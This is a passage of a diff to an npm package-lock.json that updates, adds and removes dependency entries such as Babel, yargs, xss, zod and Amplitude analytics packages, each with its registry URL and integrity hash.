{ @@ -18585,28 +15948,6 @@ "xtend": "^4.0.0" } }, - "node_modules/xhr-request": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/xhr-request/-/xhr-request-1.1.0.tgz", - "integrity": "sha512-Y7qzEaR3FDtL3fP30k9wO/e+FBnBByZeybKOhASsGP30NIkRAAkKD/sCnLvgEfAIEC1rcmK7YG8f4oEnIrrWzA==", - "dependencies": { - "buffer-to-arraybuffer": "^0.0.5", - "object-assign": "^4.1.1", - "query-string": "^5.0.1", - "simple-get": "^2.7.0", - "timed-out": "^4.0.1", - "url-set-query": "^1.0.0", - "xhr": "^2.0.4" - } - }, - "node_modules/xhr-request-promise": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/xhr-request-promise/-/xhr-request-promise-0.1.3.tgz", - "integrity": "sha512-YUBytBsuwgitWtdRzXDDkWAXzhdGB8bYm0sSzMPZT7Z2MBjMSTHFsyCT1yCRATY+XC69DUrQraRAEgcoCRaIPg==", - "dependencies": { - "xhr-request": "^1.1.0" - } - }, "node_modules/xhr2-cookies": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/xhr2-cookies/-/xhr2-cookies-1.1.0.tgz", @@ -18616,24 +15957,26 @@ } }, "node_modules/xml-name-validator": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", "dev": true, + "license": "Apache-2.0", "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/xmlchars": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/xss": { - "version": "1.0.14", - "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.14.tgz", - "integrity": "sha512-og7TEJhXvn1a7kzZGQ7ETjdQVS2UfZyTlsEdDOqvQF7GoxNfY+0YLCzBy1kPdsDDx4QuNAonQPddpsn6Xl/7sw==", + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/xss/-/xss-1.0.15.tgz", + "integrity": "sha512-FVdlVVC67WOIPvfOwhoMETV72f6GbW7aOabBC3WxN/oUdoEMDyLz4OgRv5/gck2ZeNqEQu+Tb0kloovXOfpYVg==", "dependencies": { "commander": "^2.20.3", "cssfilter": "0.0.10" @@ -18663,56 +16006,37 @@ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==" }, - "node_modules/yaeti": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/yaeti/-/yaeti-0.0.6.tgz", - "integrity": "sha512-MvQa//+KcZCUkBTIC9blM+CU9J2GzuTytsOUwf2lidtvkx/6gnEp1QvJv34t9vdjhFmha/mUiNDbN0D0mJWdug==", - "engines": { - "node": ">=0.10.32" - } - }, "node_modules/yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", "dev": true }, - "node_modules/yaml": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", - "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true, - "engines": { - "node": ">= 6" - } - }, "node_modules/yargs": { - "version": "17.5.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", - "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, "dependencies": { - "cliui": "^7.0.2", + "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", - "yargs-parser": "^21.0.0" + "yargs-parser": "^21.1.1" }, "engines": { "node": ">=12" } }, "node_modules/yargs-parser": { - "version": "20.2.9", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", - "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", "dev": true, - "optional": true, - "peer": true, "engines": { - "node": ">=10" + "node": ">=12" } }, "node_modules/yargs/node_modules/y18n": { @@ -18724,29 +16048,218 @@ "node": ">=10" } }, - "node_modules/yargs/node_modules/yargs-parser": { - "version": "21.1.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", "dev": true, "engines": { - "node": ">=12" + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "3.23.8", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.8.tgz", + "integrity": "sha512-XBx9AXhXktjUqnepgTiE5flcKIYWi/rme0Eaj+5Y0lftuGBq+jyRu/md4WnuxqgP1ubdpNCsYEYPxrzVHD8d6g==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + }, + "dependencies": { + "@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true + }, + "@adraffy/ens-normalize": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@adraffy/ens-normalize/-/ens-normalize-1.10.1.tgz", + "integrity": "sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==" + }, + "@amplitude/analytics-browser": { + "version": "2.21.1", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-browser/-/analytics-browser-2.21.1.tgz", + "integrity": "sha512-3Snmz4OgtSFWnFcqIC5QCFuUSIaVIK2iX0Wl1KIV+DzDhRwc+JIxuJCiwgWkvTPiO1N0Vfi9CO/bdockHqEMzg==", + "requires": { + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-remote-config": "^0.4.0", + "@amplitude/plugin-autocapture-browser": "^1.8.1", + "@amplitude/plugin-network-capture-browser": "^1.4.2", + "@amplitude/plugin-page-view-tracking-browser": "^2.3.37", + "@amplitude/plugin-web-vitals-browser": "^0.1.0-beta.12", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.1.tgz", + "integrity": "sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA==" + } + } + }, + "@amplitude/analytics-client-common": { + "version": "2.3.31", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-client-common/-/analytics-client-common-2.3.31.tgz", + "integrity": "sha512-YkhKM78htSVNpRd+ul6MgDekaKseRCnYVLDyBQ0u3vtIt6m5kVtbBMffcrZz7DbOHIsyrUxA8u/RfLo+7xkouA==", + "requires": { + "@amplitude/analytics-connector": "^1.4.8", + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-types": "^2.9.2", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "@amplitude/analytics-connector": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-connector/-/analytics-connector-1.6.4.tgz", + "integrity": "sha512-SpIv0IQMNIq6SH3UqFGiaZyGSc7PBZwRdq7lvP0pBxW8i4Ny+8zwI0pV+VMfMHQwWY3wdIbWw5WQphNjpdq1/Q==" + }, + "@amplitude/analytics-core": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-core/-/analytics-core-2.19.0.tgz", + "integrity": "sha512-G1RwMOjkEV1Ccx7vU3CsPFt0w5yNFlVFNpCKaWO7zVbsqA9PRljPXj3fKXPrto6s2vKTXmuGG5NuWM/iSVfBwA==", + "requires": { + "@amplitude/analytics-connector": "^1.6.4", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "@amplitude/analytics-remote-config": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-remote-config/-/analytics-remote-config-0.4.1.tgz", + "integrity": "sha512-BYl6kQ9qjztrCACsugpxO+foLaQIC0aSEzoXEAb/gwOzInmqkyyI+Ub+aWTBih4xgB/lhWlOcidWHAmNiTJTNw==", + "requires": { + "@amplitude/analytics-client-common": ">=1 <3", + "@amplitude/analytics-core": ">=1 <3", + "@amplitude/analytics-types": ">=1 <3", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "@amplitude/analytics-types": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-types/-/analytics-types-2.9.2.tgz", + "integrity": "sha512-juhTz396dDP/jLJYP9zDOEAZBtJM0JVvP8G10p1OxUDBVwVIprpQL598F9GRQwVFyqV4CEhDmNyAY0HqqU5bhA==" + }, + "@amplitude/plugin-autocapture-browser": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-autocapture-browser/-/plugin-autocapture-browser-1.8.1.tgz", + "integrity": "sha512-Wg5Ogi2rW9DM40ZI7iTZuGxm7TXUfkfAZ5yTUrRDy5MIXr+zdv89IpXhj4fsKW9ZO3xc7OFkFklXCWq+QJ580A==", + "requires": { + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-remote-config": "^0.6.3", + "rxjs": "^7.8.1", + "tslib": "^2.4.1" + }, + "dependencies": { + "@amplitude/analytics-remote-config": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-remote-config/-/analytics-remote-config-0.6.3.tgz", + "integrity": "sha512-icE0ogCzdHAtQi9jiOFQUmKrvWQc5YEO6bLZUfQXCT/yTTNXppWnT1zHMKzXa3SMDosfrLwU/X8sro1PTI+jZQ==", + "requires": { + "@amplitude/analytics-core": ">=1 <2", + "@amplitude/analytics-types": ">=1 <2", + "tslib": "^2.4.1" + }, + "dependencies": { + "@amplitude/analytics-core": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-core/-/analytics-core-1.2.8.tgz", + "integrity": "sha512-Krxpr5uvS3HmmjvpYqPfbMbs2kcZZu09L+6KwQnPiofWRzoXWIM217fRfy6aSD/QrAoPGbZjvtVitw9cB7Cx+A==", + "requires": { + "@amplitude/analytics-types": "^1.4.0", + "tslib": "^2.4.1" + } + } + } + }, + "@amplitude/analytics-types": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-types/-/analytics-types-1.4.0.tgz", + "integrity": "sha512-RiMPHBqdrJ8ktTqG+Wzj2htnN/PCG9jGZG0SXtTFnWwVvcAJYbYm55/nrP1TTyrx1OlLhvF2VG3lVUP/xGAU8w==" + }, + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "@amplitude/plugin-network-capture-browser": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-network-capture-browser/-/plugin-network-capture-browser-1.4.2.tgz", + "integrity": "sha512-Is1uBYfqEeS3bm0mVyqksW1AOTr5B9JWQOinT9WcF4R9c/56CoIXBGcLnRG+4p5p6xAQcmP/tggjc8xsDeI52g==", + "requires": { + "@amplitude/analytics-core": "^2.19.0", + "rxjs": "^7.8.1", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } + } + }, + "@amplitude/plugin-page-view-tracking-browser": { + "version": "2.3.37", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-page-view-tracking-browser/-/plugin-page-view-tracking-browser-2.3.37.tgz", + "integrity": "sha512-Jikvke4Af8qQMwWcF6LHBF/HYUaAaWxZPcJoFYS1HK0/Gzxsa/T5SIJC35EDEERsHMKRryrNUdchlBY2xFKULw==", + "requires": { + "@amplitude/analytics-client-common": "^2.3.31", + "@amplitude/analytics-types": "^2.9.2", + "tslib": "^2.4.1" + }, + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } } }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "engines": { - "node": ">=10" + "@amplitude/plugin-web-vitals-browser": { + "version": "0.1.0-frustrationanalytics.0", + "resolved": "https://registry.npmjs.org/@amplitude/plugin-web-vitals-browser/-/plugin-web-vitals-browser-0.1.0-frustrationanalytics.0.tgz", + "integrity": "sha512-xv4sje6/D8r+SgNFTA22FJ5PhtdhN+VSydvs63Frll+qWlyQwaZ1IgDbPyqjzryEkldHRPD7GUaQual+geoIYg==", + "requires": { + "@amplitude/analytics-core": "^2.14.0-frustrationanalytics.0", + "rxjs": "^7.8.1", + "tslib": "^2.4.1", + "web-vitals": "^5.0.1" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "dependencies": { + "tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==" + } } - } - }, - "dependencies": { + }, "@ampproject/remapping": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", @@ -18767,109 +16280,148 @@ } } }, + "@asamuzakjp/css-color": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", + "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", + "dev": true, + "requires": { + "@csstools/css-calc": "^2.1.3", + "@csstools/css-color-parser": "^3.0.9", + "@csstools/css-parser-algorithms": "^3.0.4", + "@csstools/css-tokenizer": "^3.0.3", + "lru-cache": "^10.4.3" + }, + "dependencies": { + "lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true + } + } + }, "@babel/code-frame": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", - "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", + "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", "requires": { - "@babel/highlight": "^7.18.6" + "@babel/helper-validator-identifier": "^7.27.1", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" } }, "@babel/compat-data": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.18.8.tgz", - "integrity": "sha512-HSmX4WZPPK3FUxYp7g2T6EyO8j96HlZJlxmKPSh6KAcqwyDrfx7hKjXpAW/0FhFfTJsR0Yt4lAjLI2coMptIHQ==" + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz", + "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==" }, "@babel/core": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.18.13.tgz", - "integrity": "sha512-ZisbOvRRusFktksHSG6pjj1CSvkPkcZq/KHD45LAkVP/oiHJkNBZWfpvlLmX8OtHDG8IuzsFlVRWo08w7Qxn0A==", - "requires": { - "@ampproject/remapping": "^2.1.0", - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.18.13", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-module-transforms": "^7.18.9", - "@babel/helpers": "^7.18.9", - "@babel/parser": "^7.18.13", - "@babel/template": "^7.18.10", - "@babel/traverse": "^7.18.13", - "@babel/types": "^7.18.13", - "convert-source-map": "^1.7.0", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz", + "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==", + "requires": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-module-transforms": "^7.27.3", + "@babel/helpers": "^7.27.6", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/traverse": "^7.28.0", + "@babel/types": "^7.28.0", + "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", - "json5": "^2.2.1", - "semver": "^6.3.0" + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "dependencies": { + "convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==" + } } }, "@babel/generator": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.13.tgz", - "integrity": "sha512-CkPg8ySSPuHTYPJYo7IRALdqyjM9HCbt/3uOBEFbzyGVP6Mn8bwFPB0jX6982JVNBlYzM1nnPkfjuXSOPtQeEQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz", + "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==", "requires": { - "@babel/types": "^7.18.13", - "@jridgewell/gen-mapping": "^0.3.2", - "jsesc": "^2.5.1" + "@babel/parser": "^7.28.0", + "@babel/types": "^7.28.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" } }, "@babel/helper-annotate-as-pure": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", - "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", - "requires": { - "@babel/types": "^7.18.6" - } - }, - "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.18.9.tgz", - "integrity": "sha512-yFQ0YCHoIqarl8BCRwBL8ulYUaZpz3bNsA7oFepAzee+8/+ImtADXNOmO5vJvsPff3qi+hvpkY/NYBTrBQgdNw==", - "dev": true, + "version": "7.27.3", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz", + "integrity": "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==", "requires": { - "@babel/helper-explode-assignable-expression": "^7.18.6", - "@babel/types": "^7.18.9" + "@babel/types": "^7.27.3" } }, "@babel/helper-compilation-targets": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.18.9.tgz", - "integrity": "sha512-tzLCyVmqUiFlcFoAPLA/gL9TeYrF61VLNtb+hvkuVaB5SUjW7jcfrglBIX1vUIoT7CLP3bBlIMeyEsIl2eFQNg==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", + "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", "requires": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-validator-option": "^7.18.6", - "browserslist": "^4.20.2", - "semver": "^6.3.0" + "@babel/compat-data": "^7.27.2", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "dependencies": { + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "requires": { + "yallist": "^3.0.2" + } + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + } } }, "@babel/helper-create-class-features-plugin": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.18.9.tgz", - "integrity": "sha512-WvypNAYaVh23QcjpMR24CwZY2Nz6hqdOcFdPbNpV56hL5H6KiFheO7Xm1aPdlLQ7d5emYZX7VZwPp9x3z+2opw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.27.1.tgz", + "integrity": "sha512-QwGAmuvM17btKU5VqXfb+Giw4JcN0hjuufz3DYnpeVDvZLAObloM77bhMXiqry3Iio+Ai4phVRDwl6WU10+r5A==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-member-expression-to-functions": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-replace-supers": "^7.18.9", - "@babel/helper-split-export-declaration": "^7.18.6" + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/traverse": "^7.27.1", + "semver": "^6.3.1" } }, "@babel/helper-create-regexp-features-plugin": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.18.6.tgz", - "integrity": "sha512-7LcpH1wnQLGrI+4v+nPp+zUvIkF9x0ddv1Hkdue10tg3gmRnLy97DXh4STiOf1qeIInyD69Qv5kKSZzKD8B/7A==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.27.1.tgz", + "integrity": "sha512-uVDC72XVf8UbrH5qQTc18Agb8emwjTiZrQE11Nv3CuBEZmVvTwwE9CBUEvHku06gQCAyYf8Nv6ja1IN+6LMbxQ==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "regexpu-core": "^5.1.0" + "@babel/helper-annotate-as-pure": "^7.27.1", + "regexpu-core": "^6.2.0", + "semver": "^6.3.1" } }, "@babel/helper-define-polyfill-provider": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.2.tgz", - "integrity": "sha512-r9QJJ+uDWrd+94BSPcP6/de67ygLtvVy6cK4luE6MOuDsZIdoaPBnfSpbO/+LTifjPckbKXRuI9BB/Z2/y3iTg==", + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz", + "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==", "requires": { "@babel/helper-compilation-targets": "^7.17.7", "@babel/helper-plugin-utils": "^7.16.7", @@ -18879,363 +16431,184 @@ "semver": "^6.1.2" } }, - "@babel/helper-environment-visitor": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", - "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==" - }, - "@babel/helper-explode-assignable-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.18.6.tgz", - "integrity": 